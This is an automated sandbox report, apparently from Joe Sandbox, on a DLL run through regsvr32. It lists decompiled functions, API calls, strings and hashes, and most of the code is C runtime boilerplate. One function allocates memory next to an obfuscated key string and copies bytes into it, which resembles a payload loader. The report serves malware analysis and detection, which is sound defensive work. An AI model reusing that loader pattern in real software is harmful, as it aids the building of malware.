Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1972
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E1982
char_traits.LIBCPMTD ref: 00007FFE354E19B8
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E19D7
_aligned_msize.LIBCMTD ref: 00007FFE354E19EC

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$_aligned_msizechar_traitstype_info::_name_internal_method
String ID:
API String ID: 2899389904-0
Opcode ID: d6a9ae3060159eb32e1333261476f0ce7afd758758ec1d3e09a9f36619dac840
Instruction ID: 2c6a6da881d864c01fe2f91ecc3896e1cb7571e548577668657024531ddcde3f
Opcode Fuzzy Hash: d6a9ae3060159eb32e1333261476f0ce7afd758758ec1d3e09a9f36619dac840
Instruction Fuzzy Hash: CF21AA32A1CB8281DA14EB52E85927EEB60FBC5FD0F111435FA8F4776ACEACD5409B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E13A0 Relevance: 7.6, APIs: 5, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00007FFE7FFE354E13A0(signed int __eax, long long __rcx, signed int __rdx, signed long long __r8, long long _a8, signed int _a16, signed long long _a24) {
				void* _v16;
				signed long long _v24;
				long long _v32;
				signed int _v40;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 - 0xffffffff <= 0) goto 0x354e13cd;
				E00007FFE7FFE354E9764();
				_v24 = _a16 * _a24;
				if (_v24 - 0x1000 < 0) goto 0x354e1475;
				_v40 = _a8;
				if ((_v40 & 0x0000001f) == 0) goto 0x354e1409;
				E00007FFE7FFE354E9764();
				_v16 = _v40 - 8;
				_v32 =  *_v16;
				if (_v32 - _v40 < 0) goto 0x354e1435;
				E00007FFE7FFE354E9764();
				if (_v40 - _v32 - 8 >= 0) goto 0x354e1450;
				E00007FFE7FFE354E9764();
				if (_v40 - _v32 - 0x27 <= 0) goto 0x354e146b;
				E00007FFE7FFE354E9764();
				_a8 = _v32;
				0x354e4184(); // executed
				return __eax / _a24;
			}

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E13C8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1404
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1430
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E144B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1466

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 5b3810bd1dfc2f7cb2c35ba7318fdc2941c7d859428b9d04d3661772caa0df3a
Instruction ID: 0d92a9d961892018dda14c78097cbe83efc4f790c6491f67ff990edf2b07703c
Opcode Fuzzy Hash: 5b3810bd1dfc2f7cb2c35ba7318fdc2941c7d859428b9d04d3661772caa0df3a
Instruction Fuzzy Hash: D0212C36618B8581DA14EB59E48411EEBA4F7C8FA4F110635EADE02BB9DF3CD1509B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F9510 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00007FFE7FFE354F9510(void* __edx, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				signed long long _v16;
				signed long long _v24;
				signed long long _v28;
				signed long long _v32;
				signed int _v36;
				void* _v40;
				void* _t31;
				char _t33;
				signed long long _t38;
				void* _t50;
				void* _t69;
				void* _t70;

				_a16 = __rdx;
				_a8 = __rcx;
				_v24 = 0;
				_t38 = "*sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5";
				_v16 = _t38;
				E00007FFE7FFE354E91B8(_t38, _t50, L"64", _t69, _t70);
				_v32 = _t38;
				E00007FFE7FFE354E91B8(_t38, _t50, L"4096", _t69, _t70);
				_v36 = _t38;
				_t31 = E00007FFE7FFE354E91B8(_t38, _t50, L"8192", _t69, _t70);
				r9d = __edx;
				r8d = _t31;
				VirtualAlloc(??, ??, ??, ??); // executed
				_v24 = _v36 | _t38;
				if (_v24 != 0) goto 0x354f958f;
				goto 0x354f95f4;
				_v40 = 0;
				goto 0x354f95a3;
				_v40 = _v40 + 1;
				if (_v40 - _a16 >= 0) goto 0x354f95ef;
				_v28 =  *(_a8 + _v40) & 0x000000ff;
				asm("cdq");
				_t33 = _v40;
				 *((char*)(_v24 + _v40)) = _t33;
				goto 0x354f9599;
				return _t33;
			}

0x7ffe354f9510
0x7ffe354f9514
0x7ffe354f951d
0x7ffe354f9526
0x7ffe354f952d
0x7ffe354f9539
0x7ffe354f953e
0x7ffe354f9549
0x7ffe354f954e
0x7ffe354f9559
0x7ffe354f956e
0x7ffe354f9571
0x7ffe354f9578
0x7ffe354f957e
0x7ffe354f9589
0x7ffe354f958d
0x7ffe354f958f
0x7ffe354f9597
0x7ffe354f959f
0x7ffe354f95ab
0x7ffe354f95bb
0x7ffe354f95c3
0x7ffe354f95cd
0x7ffe354f95ea
0x7ffe354f95ed
0x7ffe354f95f8

APIs

VirtualAlloc.KERNELBASE ref: 00007FFE354F9578

Strings

8192, xrefs: 00007FFE354F9552
4096, xrefs: 00007FFE354F9542
*sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5, xrefs: 00007FFE354F9526

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID: *sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5$4096$8192
API String ID: 4275171209-3063897839
Opcode ID: 91190bfb5b736a4e483a359375091e0b2d421b3ba45f9d7b7fc30dabc440354d
Instruction ID: f936b98873075597672488b936e0d8d88cc0d93a057d34cf2fb070494cc4897e
Opcode Fuzzy Hash: 91190bfb5b736a4e483a359375091e0b2d421b3ba45f9d7b7fc30dabc440354d
Instruction Fuzzy Hash: 8D21093661C7828AD764CB19E49426ABBA1FBC8B54F401539F68EC3BA4DF3CD5419F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E12B0 Relevance: 6.1, APIs: 4, Instructions: 51
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FFE7FFE354E12B0(signed int __eax, signed int __rcx, signed int __rdx, signed int _a8, signed int _a16, signed char _a24) {
				long long _v16;
				long long _v24;
				signed long long _v32;
				signed long long _v40;
				void* _t38;
				long long _t52;
				void* _t58;

				_a24 = r8b;
				_a16 = __rdx;
				_a8 = __rcx;
				_v40 = 0;
				if (_a8 != 0) goto 0x354e12de;
				goto 0x354e1397;
				_t39 = __eax % _a16;
				if (0xffffffff - _a8 >= 0) goto 0x354e12f8;
				E00007FFE7FFE354E4E7C(__eax % _a16, 0xffffffff - _a8, 0xffffffff, _t58);
				_v32 = _a8 * _a16;
				if ((_a24 & 0x000000ff) == 0) goto 0x354e137c;
				if (_v32 - 0x1000 < 0) goto 0x354e137c;
				_v24 = _v32 + 0x27;
				_t52 = _v32;
				if (_v24 - _t52 > 0) goto 0x354e133b;
				E00007FFE7FFE354E4E7C(_t39, _v24 - _t52, _t52, _t58);
				E00007FFE7FFE354E3D6C(_t52, _v24); // executed
				_v16 = _t52;
				E00007FFE7FFE354E9764();
				_v40 = _v16 + 0x00000027 & 0xffffffe0;
				 *((long long*)(_v40 + 0x8)) = _v16;
				goto 0x354e1392;
				_t38 = E00007FFE7FFE354E3D6C(0x8, _v32);
				_v40 = 0x8;
				E00007FFE7FFE354E9764();
				return _t38;
			}

0x7ffe354e12b0
0x7ffe354e12b5
0x7ffe354e12ba
0x7ffe354e12c3
0x7ffe354e12d2
0x7ffe354e12d9
0x7ffe354e12e7
0x7ffe354e12f1
0x7ffe354e12f3
0x7ffe354e1303
0x7ffe354e130f
0x7ffe354e131a
0x7ffe354e1325
0x7ffe354e132a
0x7ffe354e1334
0x7ffe354e1336
0x7ffe354e1340
0x7ffe354e1345
0x7ffe354e134c
0x7ffe354e135e
0x7ffe354e1376
0x7ffe354e137a
0x7ffe354e1381
0x7ffe354e1386
0x7ffe354e138d
0x7ffe354e139b

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE354E12F3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE354E1336
new.LIBCMT ref: 00007FFE354E1340

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: ff720ffcf4aede3f10a3f13f5346b42280883c8723ff7dc07c368008fd0d958a
Instruction ID: 21ff95fe31b31d07ac27bb5469cd84d6c56ad862d15762c019d6e292836ee427
Opcode Fuzzy Hash: ff720ffcf4aede3f10a3f13f5346b42280883c8723ff7dc07c368008fd0d958a
Instruction Fuzzy Hash: 85212F3291CB8681D6648B19E04432AFBA0FBC8BA4F111721F6EE46BF8DF2CD5509B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354ED748 Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FFE7FFE354ED748(void* __ebp, long long __rbx, long long __rdi, long long __rsi) {
				WCHAR* _t21;
				void* _t28;
				intOrPtr* _t38;
				long long _t63;
				intOrPtr* _t64;
				intOrPtr* _t71;
				void* _t72;
				WCHAR* _t76;

				_t38 = _t71;
				 *((long long*)(_t38 + 8)) = __rbx;
				 *((long long*)(_t38 + 0x10)) = _t63;
				 *((long long*)(_t38 + 0x18)) = __rsi;
				 *((long long*)(_t38 + 0x20)) = __rdi;
				_t72 = _t71 - 0x40; // executed
				_t21 = GetEnvironmentStringsW(); // executed
				if (_t38 != 0) goto 0x354ed778;
				goto 0x354ed83b;
				_t64 = _t38;
				if ( *((intOrPtr*)(0)) == _t28) goto 0x354ed79d;
				if ( *((intOrPtr*)(_t64 + 0xfffffffffffffffe)) != _t28) goto 0x354ed784;
				if ( *_t64 != _t28) goto 0x354ed780;
				 *((long long*)(_t72 + 0x38)) = 0;
				 *((long long*)(_t72 + 0x30)) = 0;
				r9d = __ebp;
				 *((long long*)(_t72 + 0x28)) = 0;
				 *((long long*)(_t72 + 0x20)) = 0;
				E00007FFE7FFE354ED698();
				if (0xffffffff != 0) goto 0x354ed7db;
				FreeEnvironmentStringsW(_t76);
				goto 0x354ed771;
				E00007FFE7FFE354EAA18(0, _t21);
				if (0xffffffff != 0) goto 0x354ed7f4;
				E00007FFE7FFE354EA9DC(0, 0);
				goto 0x354ed7d0;
				 *((long long*)(_t72 + 0x38)) = 0;
				r9d = __ebp;
				 *((long long*)(_t72 + 0x30)) = 0;
				 *((intOrPtr*)(_t72 + 0x28)) = r14d;
				 *((long long*)(_t72 + 0x20)) = 0xffffffff;
				E00007FFE7FFE354ED698();
				if (0xffffffff != 0) goto 0x354ed825;
				E00007FFE7FFE354EA9DC(0, 0xffffffff);
				goto 0x354ed82f;
				E00007FFE7FFE354EA9DC(0, 0);
				return FreeEnvironmentStringsW(??);
			}

0x7ffe354ed748
0x7ffe354ed74b
0x7ffe354ed74f
0x7ffe354ed753
0x7ffe354ed757
0x7ffe354ed75d
0x7ffe354ed761
0x7ffe354ed76f
0x7ffe354ed773
0x7ffe354ed778
0x7ffe354ed77e
0x7ffe354ed78c
0x7ffe354ed79b
0x7ffe354ed79d
0x7ffe354ed7a5
0x7ffe354ed7b4
0x7ffe354ed7b7
0x7ffe354ed7bd
0x7ffe354ed7c4
0x7ffe354ed7ce
0x7ffe354ed7d3
0x7ffe354ed7d9
0x7ffe354ed7de
0x7ffe354ed7e9
0x7ffe354ed7ed
0x7ffe354ed7f2
0x7ffe354ed7f4
0x7ffe354ed7f9
0x7ffe354ed7fc
0x7ffe354ed804
0x7ffe354ed80d
0x7ffe354ed812
0x7ffe354ed819
0x7ffe354ed81e
0x7ffe354ed823
0x7ffe354ed827
0x7ffe354ed855

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FFE354EA08B), ref: 00007FFE354ED761
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE354EA08B), ref: 00007FFE354ED7D3

Part of subcall function 00007FFE354EAA18: RtlAllocateHeap.NTDLL(?,?,?,00007FFE354F040D,?,?,00000000,00007FFE354ED8B7,?,?,?,00007FFE354EA427,?,?,?,00007FFE354EA31D), ref: 00007FFE354EAA56

FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE354EA08B), ref: 00007FFE354ED832

Part of subcall function 00007FFE354EA9DC: RtlReleasePrivilege.NTDLL(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9F2
Part of subcall function 00007FFE354EA9DC: GetLastError.KERNEL32(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9FC

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: EnvironmentStrings$Free$AllocateErrorHeapLastPrivilegeRelease
String ID:
API String ID: 2360715157-0
Opcode ID: 4a971f3f992672dac97cc3e9f0416732ce1c297fc495fb2529321abde4e3e9ff
Instruction ID: f8a0131e890a7bb03a7a9b02c4c174e0e8a63b1c8c535f845d261a3048a8b7b3
Opcode Fuzzy Hash: 4a971f3f992672dac97cc3e9f0416732ce1c297fc495fb2529321abde4e3e9ff
Instruction Fuzzy Hash: F331A131A08B5385E6289F22644807A7EA0BF84FD4F6A4639ED5F17BE5DF3CE441A340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2970 Relevance: 4.5, APIs: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FFE7FFE354E2970(void* __edx, void* __eflags, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed int _v16;
				char _v48;
				long long _v56;
				signed long long _v64;
				signed int _v72;
				void* _t34;
				void* _t36;
				signed long long _t38;
				signed long long _t39;
				signed long long _t40;
				signed long long _t63;

				_t36 = __eflags;
				_t35 = __edx;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v56 = 0xfffffffe;
				_t38 =  *0x3555e008; // 0x77c614500e1
				_t39 = _t38 ^ _t63;
				_v16 = _t39;
				_v72 = 0;
				E00007FFE7FFE354E1760(__edx,  &_v48);
				_t40 = _t39;
				E00007FFE7FFE354E1490(_t40, _a16);
				_v64 = _t40;
				E00007FFE7FFE354E11A0(_a24);
				E00007FFE7FFE354E2CC0(__edx, _t36, _v64 + _t40,  &_v48, _v64 + _t40, __r8); // executed
				E00007FFE7FFE354E2E90( &_v48, _a16);
				E00007FFE7FFE354E2E60( &_v48, _a24);
				E00007FFE7FFE354E16A0(__edx, _v64 + _t40, _a8,  &_v48);
				_v72 = _v72 | 0x00000001;
				return E00007FFE7FFE354E3A70(E00007FFE7FFE354E1540( &_v48), _t34, _t35, _v16 ^ _t63);
			}

0x7ffe354e2970
0x7ffe354e2970
0x7ffe354e2970
0x7ffe354e2975
0x7ffe354e297a
0x7ffe354e2983
0x7ffe354e298c
0x7ffe354e2993
0x7ffe354e2996
0x7ffe354e299b
0x7ffe354e29a8
0x7ffe354e29ad
0x7ffe354e29b3
0x7ffe354e29b8
0x7ffe354e29c5
0x7ffe354e29dd
0x7ffe354e29ec
0x7ffe354e29fe
0x7ffe354e2a0d
0x7ffe354e2a19
0x7ffe354e2a3d

APIs

char_traits.LIBCPMTD ref: 00007FFE354E29C5
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E29EC
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E29FE

Part of subcall function 00007FFE354E16A0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E16BC

Part of subcall function 00007FFE354E1540: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1567

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWorktype_info::_name_internal_method$char_traits
String ID:
API String ID: 652137993-0
Opcode ID: 64b5ee6111c1e80d1d313e9df5607aec9349095c911cfcd66588a2dc81f66332
Instruction ID: a58a2677735a51ff8176a1c8dec93d8bde5461e2e8009172f8850faa9d364563
Opcode Fuzzy Hash: 64b5ee6111c1e80d1d313e9df5607aec9349095c911cfcd66588a2dc81f66332
Instruction Fuzzy Hash: 4A110832618A8282EA50EB14E49516EABA0FBC4B94F501622F6CF47BB9DF2CD1458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1B40 Relevance: 4.5, APIs: 3, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FFE7FFE354E1B40(void* __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed char _t22;
				signed long long _t29;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t29 = E00007FFE7FFE354E2250(__rax, _a8, _a16) & 0x000000ff;
				if (_t29 == 0) goto 0x354e1b97;
				E00007FFE7FFE354E18F0(_t29, _a8);
				_t30 = _a16 - _t29;
				E00007FFE7FFE354E1BF0(_a16 - _t29, _a8, _a8, _a16 - _t29, _a24);
				goto 0x354e1be0;
				r8d = 0;
				_t22 = E00007FFE7FFE354E22B0(_t30, _a8, _a24); // executed
				_t31 = _t22 & 0x000000ff;
				if ((_t22 & 0x000000ff) == 0) goto 0x354e1bdb;
				E00007FFE7FFE354E18F0(_t31, _a8);
				E00007FFE7FFE354E11E0(_t31, _a16, _a24);
				return E00007FFE7FFE354E23A0(_t31, _a8, _a24);
			}

0x7ffe354e1b40
0x7ffe354e1b45
0x7ffe354e1b4a
0x7ffe354e1b62
0x7ffe354e1b67
0x7ffe354e1b6e
0x7ffe354e1b7b
0x7ffe354e1b90
0x7ffe354e1b95
0x7ffe354e1b97
0x7ffe354e1ba4
0x7ffe354e1ba9
0x7ffe354e1bae
0x7ffe354e1bb5
0x7ffe354e1bc7
0x7ffe354e1be4

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1B6E

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1BB5
char_traits.LIBCPMTD ref: 00007FFE354E1BC7

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$EmptyQueue::Structuredchar_traits
String ID:
API String ID: 872432861-0
Opcode ID: 7aa3d2372c1ca0d652da04669d2a978a39a877f23c15b1fa6cc72aa4e53f0d09
Instruction ID: c2d022c7e6fc672f1873cafcb8fa97b336a47a2e46e854f4ed4f1323568a6afc
Opcode Fuzzy Hash: 7aa3d2372c1ca0d652da04669d2a978a39a877f23c15b1fa6cc72aa4e53f0d09
Instruction Fuzzy Hash: 4A119D76A2CBC285DA449A56E49546FA760FBC5FC0F216036FE8F47B6ADE2CD4009A40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E3F18 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FFE7FFE354E3F18(void* __ecx) {
				void* __rbx;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t19;
				void* _t20;

				_t8 = __ecx;
				E00007FFE7FFE354E4760(_t7, _t9, ( *0x3555f1a0 & 0x000000ff) + 0x7b26b, 0x1, _t19, _t20);
				if (E00007FFE7FFE354E6AC0() != 0) goto 0x354e3f47;
				goto 0x354e3f5b; // executed
				E00007FFE7FFE354EA844(( *0x3555f1a0 & 0x000000ff) + 0x7b26b); // executed
				if (0 != 0) goto 0x354e3f59;
				E00007FFE7FFE354E6B1C(_t8);
				goto 0x354e3f43;
				return _t7;
			}

0x7ffe354e3f18
0x7ffe354e3f35
0x7ffe354e3f41
0x7ffe354e3f45
0x7ffe354e3f47
0x7ffe354e3f4e
0x7ffe354e3f52
0x7ffe354e3f57
0x7ffe354e3f60

APIs

__isa_available_init.LIBCMT ref: 00007FFE354E3F35
__vcrt_initialize.LIBVCRUNTIME ref: 00007FFE354E3F3A

Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00007FFE354E6AC4
Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00007FFE354E6AC9
Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_locks.LIBVCRUNTIME ref: 00007FFE354E6ACE

__vcrt_uninitialize.LIBVCRUNTIME ref: 00007FFE354E3F52

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257261203.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257269166.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257276134.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257283583.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe354e0000_regsvr32.jbxd

Similarity

API ID: __isa_available_init__vcrt_initialize__vcrt_initialize_locks__vcrt_initialize_pure_virtual_call_handler__vcrt_initialize_winapi_thunks__vcrt_uninitialize
String ID:
API String ID: 3388242289-0
Opcode ID: 5d9032b98b00912ce65cde94096c8696e72d1c768cb864a179bbf2be0d6f6683
Instruction ID: 02842c8998c0562d1007ef4e227ff0331310330589f0a2600868e79cd5244e5a
Opcode Fuzzy Hash: 5d9032b98b00912ce65cde94096c8696e72d1c768cb864a179bbf2be0d6f6683
Instruction Fuzzy Hash: 1BE06D70D0C34354FE1D2631200A2B51E600F96F00F6224B8D89F823A39D0D745975A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F3F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354F3F70() {
				long long _v24;
				long long _t5;
				intOrPtr _t7;

				_v24 = 0;
				_t7 =  *0x3555fdd8; // 0x180000000
				E00007FFE7FFE354F9600(_t5, "fx", _t7, "DllRegisterServer");
				_v24 = _t5;
				ExitProcess(??);
			}

0x7ffe354f3f74
0x7ffe354f3f84
0x7ffe354f3f92
0x7ffe354f3f97
0x7ffe354f3f9c

APIs

ExitProcess.KERNEL32 ref: 00007FFE354F3F9C

Strings

DllRegisterServer, xrefs: 00007FFE354F3F7D

Memory Dump Source

Source File: 00000003.00000002.256984797.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000003.00000002.256975911.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.257084588.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
